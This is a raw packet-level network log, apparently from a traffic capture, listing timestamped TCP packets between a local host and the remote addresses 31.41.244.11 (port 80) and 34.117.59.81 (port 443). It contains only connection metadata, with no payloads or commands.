Dec 21, 2024 18:16:38.749583006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.749727011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.749768019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.749768019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.750549078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.750710011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.750767946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.751621008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.751725912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.751789093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.752552032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.752720118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.752804995 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.753426075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.753505945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.753560066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.754295111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.754424095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.754440069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.755261898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.755335093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.755387068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.756184101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.756273031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.756304026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.756354094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.757191896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.757319927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.757383108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.758089066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.758285999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.758389950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.759084940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.759170055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.759208918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.760118961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.760174990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.760238886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.760955095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.761069059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.761091948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.761157036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.761919975 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.762032986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.762120008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.762911081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.763019085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.763072014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.763765097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.763835907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.763881922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.764806986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.764857054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.764895916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.765450001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.765645027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.765719891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.765789986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.765830040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.766645908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.766746044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.766799927 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.767693043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.767900944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.767966032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.768662930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.768734932 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.768738985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.769484043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.769531012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.769531012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.769575119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.769742012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.770406008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.770538092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.770605087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.771358967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.771440983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.771524906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.772347927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.772505045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.772595882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.773363113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.773415089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.773545027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.773547888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.774251938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.774338961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.774342060 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.775181055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.775270939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.775290012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.775332928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.776191950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.776390076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.776472092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.777219057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.777287006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.777332067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.777436018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.778151035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.778203964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.778213978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.779021978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.779103994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.779114962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.779872894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.779977083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.779994011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.780042887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.780877113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.781011105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.781280041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.781785965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.781920910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.782013893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.782783985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.782869101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.782872915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.783773899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.783823967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.783869028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.784655094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.784723043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.784854889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.784966946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.785598040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.785767078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.785835981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.786580086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.786710024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.786787033 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.787688017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.787770987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.787796974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.788532972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.788568020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.788588047 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.789347887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.789477110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.789628983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.789674997 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.790323973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.790426016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.790530920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.791290998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.791341066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.791372061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.792356968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.792414904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.792454958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.793312073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.793380022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.793435097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.794130087 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.794193029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.794277906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.794329882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.795068026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.795147896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.795196056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.795300961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.795985937 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.797723055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.893661022 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:38.893752098 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:38.893834114 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:38.894150972 CET	49847	443	192.168.2.4	34.117.59.81
Dec 21, 2024 18:16:38.894185066 CET	443	49847	34.117.59.81	192.168.2.4
Dec 21, 2024 18:16:38.939063072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.939086914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.939153910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.939153910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.939405918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.939460039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.939603090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.939665079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.940543890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.940584898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.940607071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.941431046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.941483021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.941493034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.941719055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.942142010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.942281008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.942365885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.943088055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.943248987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.943334103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.944107056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.944277048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.944319010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.944319010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.945034027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.945159912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.945245981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.945935965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.946058035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.946120024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.947187901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.947307110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.947393894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.948153019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.948256969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.948281050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.948936939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.949021101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.949065924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.949234962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.949354887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.950050116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.950181961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.950236082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.950804949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.950861931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.950915098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.951663971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.951745987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.951760054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.952539921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.952600956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.952685118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.952733994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.953530073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.953692913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.953762054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.954466105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.954585075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.954680920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.955507040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.955559015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.955634117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.956079960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.956392050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.956492901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.956551075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.957292080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.957336903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.957372904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.957698107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.958271980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.958338976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.958375931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.958479881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.959199905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.959281921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.959326029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.960205078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.960326910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.960423946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.961105108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.961220980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.961224079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.961289883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.962095976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.962188005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.962249041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.963015079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.963146925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.963196993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.963941097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.964035988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.964106083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.964920998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.965004921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.965029955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.965408087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.965838909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.965909004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.965955019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.966007948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.966825008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.966936111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.966991901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.967721939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.967811108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.967839003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.968647003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.968705893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.968787909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.969615936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.969681978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.969710112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.969758034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.970545053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.970597029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.970668077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.970761061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.970814943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.971532106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.971649885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.971738100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.972500086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.972657919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.972723961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.973396063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.973531008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.973709106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.974350929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.974571943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.974627018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.975372076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.975388050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.975455999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.976253986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.976402998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.976427078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.977197886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.977282047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.977286100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.977596045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.978136063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.978260994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.978312969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.979085922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.979221106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.979284048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.980096102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.980139971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.980300903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.981048107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.981098890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.981122971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.981446028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.982027054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.982141018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.982270002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.982908964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.983009100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.983072996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.983834982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.983896017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.983957052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.984838963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.984931946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.984952927 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.985697031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.985790014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.985805035 CET	80	49826	31.41.244.11	192.168.2.4
